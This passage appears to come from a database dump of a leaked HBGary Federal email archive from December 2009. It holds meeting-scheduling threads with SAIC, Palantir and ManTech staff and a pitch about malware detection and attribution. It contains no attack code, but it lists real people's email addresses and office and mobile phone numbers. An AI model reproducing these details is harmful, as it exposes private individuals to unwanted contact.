a calendar invite to this man.\r\nThanks.\r\n--------------------------\r\nSent from my BlackBerry Wireless Handheld\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n&lt;aaron@hbgary.com&gt;\r\nTo: Brownfield, Amanda L.\r\nSent: Mon Dec 07 00:04:59 2009\r\nSubject: Re: Possible OpportunityHi Amanda,\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nI wanted to follow up and try and settle on a date before the holidays\r\nif possible. &nbsp;I will be in town all of this week, but I understand your\r\nschedule sounds a bit tight. &nbsp;Next week I will be in Sacramento most of the week but will be back\r\nin DC Thursday and Friday if you have any availability.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nThanks,\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nOn Dec 2, 2009, at 1:02 PM, Brownfield, Amanda L. wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks for the information, Mike.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\nI am very familiar with the opportunity that you are\r\npursuing.&nbsp; Based on our discussions with the customer I believe that\r\nNG/TASC is not in a very good position for its recompete.&nbsp; Given the fact\r\nthat you have left the company I assume this makes their position even\r\nworse?&nbsp; I am the lead division for SAIC (also own digital echo) and have\r\nbeen ‘capturing’ it for some time.&nbsp; We do in fact intend to\r\nprime and have begun our proposal preparation.&nbsp; I would welcome the\r\nopportunity to speak with you as soon as possible.&nbsp; &nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nApril Huffman will need to send you a NDA before we can\r\nmeet.&nbsp; I am on travel next WED thru FRI, and my time before then is very\r\ntight with a proposal resubmit due Tuesday.&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nI look forward to meeting you,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nAmanda L. Brownfield\r\n\r\n\r\n\r\nVP/Division Manager\r\n\r\n\r\n\r\nAdvanced Analytics and Cultural Research\r\n\r\n\r\n\r\nSAIC\r\n\r\n\r\n\r\n703-810-8979 office\r\n\r\n\r\n\r\n703-862-5614 BB\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',15417,'aaron_hbgary_com/15417.html'),(465,'2009-12-07','\"Brownfield, Amanda L.\" <AMANDA.L.BROWNFIELD@saic.com>','/aaron@hbgary.com/new/1296999835.M600267P3547Q465.eml','aaron@hbgary.com','Meeting with Aaron Barr (HBGary Federal Inc. (HBGary Federal Inc.)','\r\n\r\n\r\n\r\n\r\nMeeting with Aaron Barr (HBGary Federal Inc. (HBGary Federal Inc.)\r\n\r\n\r\n\r\n\r\nWhen: Thursday, December 17, 2009 3:00 PM-4:00 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: 11251 Roger Bacon Drive, Reston, VA, 3rd Floor, Room 3014\r\n\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\n\r\n\r\n\r\n\r\nFrom: Brownfield, Amanda L.\r\nSent: Monday, December 07, 2009 7:07 AM\r\nTo: Howsare, Stephanie A.\r\nSubject: Fw: Possible Opportunity\r\nImportance: High\r\n\r\nS,\r\nIf I am free next Thur please send a calendar invite to this man.\r\nThanks.\r\n--------------------------\r\nSent from my BlackBerry Wireless Handheld\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Brownfield, Amanda L.\r\nSent: Mon Dec 07 00:04:59 2009\r\nSubject: Re: Possible Opportunity\r\n\r\nHi Amanda,\r\n\r\nI wanted to follow up and try and settle on a date before the holidays if possible. I will be in town all of this week, but I understand your schedule sounds a bit tight. Next week I will be in Sacramento most of the week but will be back in DC Thursday and Friday if you have any availability.\r\n\r\nThanks,\r\n\r\nAaron\r\n\r\nOn Dec 2, 2009, at 1:02 PM, Brownfield, Amanda L. wrote:\r\n\r\n\r\n\r\nThanks for the information, Mike.\r\n\r\nAaron,\r\n\r\nI am very familiar with the opportunity that you are pursuing. Based on our discussions with the customer I believe that NG/TASC is not in a very good position for its recompete. Given the fact that you have left the company I assume this makes their position even worse? I am the lead division for SAIC (also own digital echo) and have been &#8216;capturing&#8217; it for some time. We do in fact intend to prime and have begun our proposal preparation. I would welcome the opportunity to speak with you as soon as possible. \r\n\r\nApril Huffman will need to send you a NDA before we can meet. I am on travel next WED thru FRI, and my time before then is very tight with a proposal resubmit due Tuesday. \r\n\r\nI look forward to meeting you,\r\n\r\nAmanda L. Brownfield\r\n\r\nVP/Division Manager\r\n\r\nAdvanced Analytics and Cultural Research\r\n\r\nSAIC\r\n\r\n703-810-8979 office\r\n\r\n703-862-5614 BB\r\n\r\nAaron Barr\r\n\r\nCEO\r\n\r\nHBGary Federal Inc.\r\n\r\nAaron Barr \r\n\r\nCEO \r\n\r\nHBGary Federal Inc. \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14374,'aaron_hbgary_com/14374.html'),(466,'2009-12-07','\"Howsare, Stephanie A.\" <STEPHANIE.A.HOWSARE@saic.com>','/aaron@hbgary.com/new/1296999835.M802951P3547Q466.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Possible Opportunity','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\nst1\\:*{behavior:url(#default#ieooui) }\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI&#8217;ve sent a calendar invite.&nbsp; Please let\r\nme know if you need directions to our office or if I can be of any other\r\nassistance.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nStephanie Howsare\r\n\r\nAdvanced Analytics and\r\nCultural&nbsp;Research&nbsp;Division\r\n\r\n703-810-\r\n8983 (please note new number effective 2/2/09)\r\n\r\n703-867-8415 (BB)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, December 07, 2009\r\n9:33 AM\r\nTo: Howsare, Stephanie A.\r\nSubject: Re: Possible Opportunity\r\nImportance: High\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nYes I am.\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Dec 7, 2009, at 9:31 AM, Howsare, Stephanie A. wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAre you available next Thursday, December\r\n17th at 3pm for a meeting with Amanda at her office in Reston, VA?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nStephanie Howsare\r\n\r\n\r\n\r\nAdvanced Analytics and\r\nCultural&nbsp;Research&nbsp;Division\r\n\r\n\r\n\r\n703-810-\r\n8983 (please note new number effective 2/2/09)\r\n\r\n\r\n\r\n703-867-8415 (BB)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Brownfield,\r\nAmanda L. \r\nSent: Monday, December 07, 2009\r\n7:07 AM\r\nTo: Howsare, Stephanie A.\r\nSubject: Fw: Possible Opportunity\r\nImportance: High\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nS,\r\nIf I am free next Thur please send a calendar invite to this man.\r\nThanks.\r\n--------------------------\r\nSent from my BlackBerry Wireless Handheld\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Brownfield, Amanda L.\r\nSent: Mon Dec 07 00:04:59 2009\r\nSubject: Re: Possible Opportunity\r\n\r\nHi Amanda,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI wanted to follow up and try and settle on a date before the holidays\r\nif possible. &nbsp;I will be in town all of this week, but I understand your\r\nschedule sounds a bit tight. &nbsp;Next week I will be in Sacramento\r\nmost of the week but will be back in DC Thursday and Friday if you have any\r\navailability.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanks,\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Dec 2, 2009, at 1:02 PM, Brownfield, Amanda L. wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks for the information, Mike.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\nI am very familiar with the opportunity that you are\r\npursuing.&nbsp; Based on our discussions with the customer I believe that\r\nNG/TASC is not in a very good position for its recompete.&nbsp; Given the fact\r\nthat you have left the company I assume this makes their position even\r\nworse?&nbsp; I am the lead division for SAIC (also own digital echo) and have\r\nbeen &#8216;capturing&#8217; it for some time.&nbsp; We do in fact intend to prime and have\r\nbegun our proposal preparation.&nbsp; I would welcome the opportunity to speak\r\nwith you as soon as possible.&nbsp; &nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nApril Huffman will need to send you a NDA before we can\r\nmeet.&nbsp; I am on travel next WED thru FRI, and my time before then is very tight\r\nwith a proposal resubmit due Tuesday.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI look forward to meeting you,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAmanda L. Brownfield\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nVP/Division Manager\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAdvanced Analytics and Cultural Research\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSAIC\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n703-810-8979 office\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n703-862-5614 BB\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4731,'aaron_hbgary_com/4731.html'),(467,'2009-12-07','\"Matthew Steckman\" <msteckman@palantirtech.com>','/aaron@hbgary.com/new/1296999835.M977466P3547Q467.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Today\'s meeting 1pm','Sure, that\'s no problem.  Ill reset the webex for 1-2:30est.\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com | 202-257-2270\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, December 07, 2009 8:17 AM\r\nTo: Matthew Steckman\r\nSubject: Today\'s meeting 1pm\r\n\r\nMatt,\r\n\r\nAny chance we can bump out 1pm to 230 or 3pm?\r\n\r\nXetron guys are delayed because of ice.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n',5691,'aaron_hbgary_com/5691.html'),(468,'2009-12-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999836.M162467P3547Q468.eml','\"Matthew Steckman\" <msteckman@palantirtech.com>','Re: Today\'s meeting 1pm','no wait?  wasnt the meeting scheduled for 1pm?  because of ice I was hoping to reschedule for 230-4pm, is that ok?\r\n\r\nAaron\r\n\r\n\r\nOn Dec 7, 2009, at 9:45 AM, Matthew Steckman wrote:\r\n\r\n> Sure, that\'s no problem.  Ill reset the webex for 1-2:30est.\r\n> \r\n> Matthew Steckman\r\n> Palantir Technologies | Forward Deployed Engineer\r\n> msteckman@palantirtech.com | 202-257-2270\r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Monday, December 07, 2009 8:17 AM\r\n> To: Matthew Steckman\r\n> Subject: Today\'s meeting 1pm\r\n> \r\n> Matt,\r\n> \r\n> Any chance we can bump out 1pm to 230 or 3pm?\r\n> \r\n> Xetron guys are delayed because of ice.\r\n> \r\n> Aaron\r\n> \r\n> From my iPhone\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',15230,'aaron_hbgary_com/15230.html'),(469,'2009-12-07','\"Matthew Steckman\" <msteckman@palantirtech.com>','/aaron@hbgary.com/new/1296999836.M362793P3547Q469.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Today\'s meeting 1pm','I cant get the VTC at that time.  I want two guys from Palo Alto to attend.\r\n\r\nThey can call in if need be but we\'d prefer a VTC.\r\n\r\nJust let me know.\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com | 202-257-2270\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, December 07, 2009 9:49 AM\r\nTo: Matthew Steckman\r\nSubject: Re: Today\'s meeting 1pm\r\n\r\nno wait?  wasnt the meeting scheduled for 1pm?  because of ice I was hoping to reschedule for 230-4pm, is that ok?\r\n\r\nAaron\r\n\r\n\r\nOn Dec 7, 2009, at 9:45 AM, Matthew Steckman wrote:\r\n\r\n> Sure, that\'s no problem.  Ill reset the webex for 1-2:30est.\r\n> \r\n> Matthew Steckman\r\n> Palantir Technologies | Forward Deployed Engineer\r\n> msteckman@palantirtech.com | 202-257-2270\r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Monday, December 07, 2009 8:17 AM\r\n> To: Matthew Steckman\r\n> Subject: Today\'s meeting 1pm\r\n> \r\n> Matt,\r\n> \r\n> Any chance we can bump out 1pm to 230 or 3pm?\r\n> \r\n> Xetron guys are delayed because of ice.\r\n> \r\n> Aaron\r\n> \r\n> From my iPhone\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',10290,'aaron_hbgary_com/10290.html'),(470,'2009-12-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999836.M562213P3547Q470.eml','\"Matthew Steckman\" <msteckman@palantirtech.com>','Re: Today\'s meeting 1pm','ok can u push the meeting a bit?  What I am thinking is we can start with Palantir presentation for Gregs benefit, followed by HBGary presentation after that, which Xetron hasn\'t seen yet.  If we can\'t delay at all then we can work it out, but if we can push just a little bit...let me know.\r\n\r\nAaron\r\n\r\n\r\nOn Dec 7, 2009, at 9:50 AM, Matthew Steckman wrote:\r\n\r\n> I cant get the VTC at that time.  I want two guys from Palo Alto to attend.\r\n> \r\n> They can call in if need be but we\'d prefer a VTC.\r\n> \r\n> Just let me know.\r\n> \r\n> Matthew Steckman\r\n> Palantir Technologies | Forward Deployed Engineer\r\n> msteckman@palantirtech.com | 202-257-2270\r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Monday, December 07, 2009 9:49 AM\r\n> To: Matthew Steckman\r\n> Subject: Re: Today\'s meeting 1pm\r\n> \r\n> no wait?  wasnt the meeting scheduled for 1pm?  because of ice I was hoping to reschedule for 230-4pm, is that ok?\r\n> \r\n> Aaron\r\n> \r\n> \r\n> On Dec 7, 2009, at 9:45 AM, Matthew Steckman wrote:\r\n> \r\n>> Sure, that\'s no problem.  Ill reset the webex for 1-2:30est.\r\n>> \r\n>> Matthew Steckman\r\n>> Palantir Technologies | Forward Deployed Engineer\r\n>> msteckman@palantirtech.com | 202-257-2270\r\n>> \r\n>> \r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n>> Sent: Monday, December 07, 2009 8:17 AM\r\n>> To: Matthew Steckman\r\n>> Subject: Today\'s meeting 1pm\r\n>> \r\n>> Matt,\r\n>> \r\n>> Any chance we can bump out 1pm to 230 or 3pm?\r\n>> \r\n>> Xetron guys are delayed because of ice.\r\n>> \r\n>> Aaron\r\n>> \r\n>> From my iPhone\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',3254,'aaron_hbgary_com/3254.html'),(471,'2009-12-07','\"Nieves, Alexander\" <Alexander.Nieves@ManTech.com>','/aaron@hbgary.com/new/1296999836.M747881P3547Q471.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Discussion','Aaron im trying to move some appts around so we can meet so let me see\r\nwhat I can do for this week? \r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, December 02, 2009 2:25 AM\r\nTo: Nieves, Alexander\r\nSubject: Discussion\r\n\r\nHi Alex,\r\n\r\nI was wondering if you would be interested in getting together next week\r\nto talk about my new role, what we might be able to do together and get\r\na brief on the latest HBGary and Mantech capabilities?  Greg Hoglund\r\nwill be in town and of course does the best job conveying the\r\ntechnologies (I\'ll get there).  Not sure how familiar you are with their\r\ntools, but the one I am most excited about is their Digital DNA, it does\r\nbehavior/characteristic identification of malware based on HBGarys\r\nMalware genome database.  So far its 75% successful at detecting all\r\nmalware we throw at it, as the genome database gets larger that should\r\nget better, but already pretty good.\r\n\r\nAnother idea I am starting to form is a combined capability that I think\r\ncan push the rock a little on Attribution.  I am not sure if you are\r\nfamiliar with Palantir.  Their main focus in link analysis, and their\r\ntool is best in class.  I want to combine Palantirs capability for\r\nexternals analysis with HBGarys capability for malware binary analysis\r\nand fingerprinting and start doing some long term analysis and\r\ncorrelation of attacks.  I think this approach could push the\r\nAttribution rock forward a little.\r\n\r\nI know you guys are in the \"forensics\" space but would really like to\r\ntalk about what that really means, also share where we are going and see\r\nwhere we might be able to help each other.\r\n\r\nIf you noticed the time of the email.  3rd night in a row I have woken\r\nup in the middle of the night and can\'t sleep because my mind is racing.\r\nIts nice to be excited about work, but I need some sleep.\r\n\r\nAaron\r\n',2138,'aaron_hbgary_com/2138.html'),(472,'2009-12-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999836.M934088P3547Q472.eml','\"Nieves, Alexander\" <Alexander.Nieves@ManTech.com>','Re: Discussion','Hey Alex,\r\n\r\nGreat.  Greg is going to be here all week, I think the best openings for us are tomorrow afternoon or Friday, I think Friday is pretty open.  Do either of those dates and times work for you?\r\n\r\nAaron\r\n\r\n\r\nOn Dec 7, 2009, at 10:12 AM, Nieves, Alexander wrote:\r\n\r\n> Aaron im trying to move some appts around so we can meet so let me see\r\n> what I can do for this week? \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Wednesday, December 02, 2009 2:25 AM\r\n> To: Nieves, Alexander\r\n> Subject: Discussion\r\n> \r\n> Hi Alex,\r\n> \r\n> I was wondering if you would be interested in getting together next week\r\n> to talk about my new role, what we might be able to do together and get\r\n> a brief on the latest HBGary and Mantech capabilities?  Greg Hoglund\r\n> will be in town and of course does the best job conveying the\r\n> technologies (I\'ll get there).  Not sure how familiar you are with their\r\n> tools, but the one I am most excited about is their Digital DNA, it does\r\n> behavior/characteristic identification of malware based on HBGarys\r\n> Malware genome database.  So far its 75% successful at detecting all\r\n> malware we throw at it, as the genome database gets larger that should\r\n> get better, but already pretty good.\r\n> \r\n> Another idea I am starting to form is a combined capability that I think\r\n> can push the rock a little on Attribution.  I am not sure if you are\r\n> familiar with Palantir.  Their main focus in link analysis, and their\r\n> tool is best in class.  I want to combine Palantirs capability for\r\n> externals analysis with HBGarys capability for malware binary analysis\r\n> and fingerprinting and start doing some long term analysis and\r\n> correlation of attacks.  I think this approach could push the\r\n> Attribution rock forward a little.\r\n> \r\n> I know you guys are in the \"forensics\" space but would really like to\r\n> talk about what that really means, also share where we are going and see\r\n> where we might be able to help each other.\r\n> \r\n> If you noticed the time of the email.  3rd night in a row I have woken\r\n> up in the middle of the night and can\'t sleep because my mind is racing.\r\n> Its nice to be excited about work, but I need some sleep.\r\n> \r\n> Aaron\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',330,'aaron_hbgary_com/330.html'),(473,'2009-12-07','\"Matthew Steckman\" <msteckman@palantirtech.com>','/aaron@hbgary.com/new/1296999837.M113378P3547Q473.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Today\'s meeting 1pm','VTC is book pretty much all day after 2ish.\r\n\r\nIll set up a webex for my guys in Palo Alto.\r\n\r\nLet\'s confirm a start time.  If 2:30 is good, ill set something up.\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com | 202-257-2270\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, December 07, 2009 10:01 AM\r\nTo: Matthew Steckman\r\nSubject: Re: Today\'s meeting 1pm\r\n\r\nok can u push the meeting a bit?  What I am thinking is we can start with Palantir presentation for Gregs benefit, followed by HBGary presentation after that, which Xetron hasn\'t seen yet.  If we can\'t delay at all then we can work it out, but if we can push just a little bit...let me know.\r\n\r\nAaron\r\n\r\n\r\nOn Dec 7, 2009, at 9:50 AM, Matthew Steckman wrote:\r\n\r\n> I cant get the VTC at that time.  I want two guys from Palo Alto to attend.\r\n> \r\n> They can call in if need be but we\'d prefer a VTC.\r\n> \r\n> Just let me know.\r\n> \r\n> Matthew Steckman\r\n> Palantir Technologies | Forward Deployed Engineer\r\n> msteckman@palantirtech.com | 202-257-2270\r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Monday, December 07, 2009 9:49 AM\r\n> To: Matthew Steckman\r\n> Subject: Re: Today\'s meeting 1pm\r\n> \r\n> no wait?  wasnt the meeting scheduled for 1pm?  because of ice I was hoping to reschedule for 230-4pm, is that ok?\r\n> \r\n> Aaron\r\n> \r\n> \r\n> On Dec 7, 2009, at 9:45 AM, Matthew Steckman wrote:\r\n> \r\n>> Sure, that\'s no problem.  Ill reset the webex for 1-2:30est.\r\n>> \r\n>> Matthew Steckman\r\n>> Palantir Technologies | Forward Deployed Engineer\r\n>> msteckman@palantirtech.com | 202-257-2270\r\n>> \r\n>> \r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n>> Sent: Monday, December 07, 2009 8:17 AM\r\n>> To: Matthew Steckman\r\n>> Subject: Today\'s meeting 1pm\r\n>> \r\n>> Matt,\r\n>> \r\n>> Any chance we can bump out 1pm to 230 or 3pm?\r\n>> \r\n>> Xetron guys are delayed because of ice.\r\n>> \r\n>> Aaron\r\n>> \r\n>> From my iPhone\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',10368,'aaron_hbgary_com/10368.html'),(474,'2009-12-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999837.M294469P3547Q474.eml','\"Matthew Steckman\" <msteckman@palantirtech.com>,\"Matthew Steckman\" <msteckman@palantirtech.com>','Re: Today\'s meeting 1pm','ok lets keep meeting as it sits at 1pm.  Most important thing first is for the right people to fully understand HBGary and Palantir capabilities so we can see where we can best leverage them, I agree VTC is better.  The Xetron guys will show up when they can and we can circle back around where we need to.\r\n\r\nAaron\r\n\r\n\r\nOn Dec 7, 2009, at 10:15 AM, Matthew Steckman wrote:\r\n\r\n> VTC is book pretty much all day after 2ish.\r\n> \r\n> Ill set up a webex for my guys in Palo Alto.\r\n> \r\n> Let\'s confirm a start time.  If 2:30 is good, ill set something up.\r\n> \r\n> Matthew Steckman\r\n> Palantir Technologies | Forward Deployed Engineer\r\n> msteckman@palantirtech.com | 202-257-2270\r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Monday, December 07, 2009 10:01 AM\r\n> To: Matthew Steckman\r\n> Subject: Re: Today\'s meeting 1pm\r\n> \r\n> ok can u push the meeting a bit?  What I am thinking is we can start with Palantir presentation for Gregs benefit, followed by HBGary presentation after that, which Xetron hasn\'t seen yet.  If we can\'t delay at all then we can work it out, but if we can push just a little bit...let me know.\r\n> \r\n> Aaron\r\n> \r\n> \r\n> On Dec 7, 2009, at 9:50 AM, Matthew Steckman wrote:\r\n> \r\n>> I cant get the VTC at that time.  I want two guys from Palo Alto to attend.\r\n>> \r\n>> They can call in if need be but we\'d prefer a VTC.\r\n>> \r\n>> Just let me know.\r\n>> \r\n>> Matthew Steckman\r\n>> Palantir Technologies | Forward Deployed Engineer\r\n>> msteckman@palantirtech.com | 202-257-2270\r\n>> \r\n>> \r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n>> Sent: Monday, December 07, 2009 9:49 AM\r\n>> To: Matthew Steckman\r\n>> Subject: Re: Today\'s meeting 1pm\r\n>> \r\n>> no wait?  wasnt the meeting scheduled for 1pm?  because of ice I was hoping to reschedule for 230-4pm, is that ok?\r\n>> \r\n>> Aaron\r\n>> \r\n>> \r\n>> On Dec 7, 2009, at 9:45 AM, Matthew Steckman wrote:\r\n>> \r\n>>> Sure, that\'s no problem.  Ill reset the webex for 1-2:30est.\r\n>>> \r\n>>> Matthew Steckman\r\n>>> Palantir Technologies | Forward Deployed Engineer\r\n>>> msteckman@palantirtech.com | 202-257-2270\r\n>>> \r\n>>> \r\n>>> -----Original Message-----\r\n>>> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n>>> Sent: Monday, December 07, 2009 8:17 AM\r\n>>> To: Matthew Steckman\r\n>>> Subject: Today\'s meeting 1pm\r\n>>> \r\n>>> Matt,\r\n>>> \r\n>>> Any chance we can bump out 1pm to 230 or 3pm?\r\n>>> \r\n>>> Xetron guys are delayed because of ice.\r\n>>> \r\n>>> Aaron\r\n>>> \r\n>>> From my iPhone\r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n>> \r\n>> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',4436,'aaron_hbgary_com/4436.html'),(475,'2009-12-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999839.M761250P3547Q475.eml','\"Karen Burke\" <karenmaryburke@yahoo.com>,\"Karen Burke\" <karenmaryburke@yahoo.com>,,,','Re: Final HBGary Federal Press Release; HBGary Federal Media Talking Points','some of the answers to the possible questions.\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\nOn Dec 6, 2009, at 8:55 PM, Karen Burke wrote:\r\n\r\n> Hi everyone, Below is the final press release. I plan to distribute it to our key media and anaylsts at 6 AM PT/9 AM ET tomorrow morning (Monday). I have also attached some possible talking points for both Greg and Aaron to use as a guide if we secure media interviews. Please feel free to amend  (and fill in where needed) -- they are just a starting point but address some questions I think we\'ll get from the media re the announcement.\r\n>  \r\n> If you need more time to review or have any questions or concerns, please let me know ASAP. Best, Karen\r\n>  \r\n> 650-814-3764\r\n>  \r\n>  \r\n> HBGary Launches HBGary Federal To Provide Cybersecurity Services\r\n> \r\n> To U.S. Government Agencies\r\n> \r\n> New Venture Led By Cybersecurity Experts and Former Northrop Grumman\r\n> \r\n> Leadership Aaron Barr and Ted Vera\r\n> \r\n> Sacramento, California, December 7, 2009 -- HBGary, Inc., the leader in enterprise malware detection and analysis, today announced the spin-off of its U.S. government 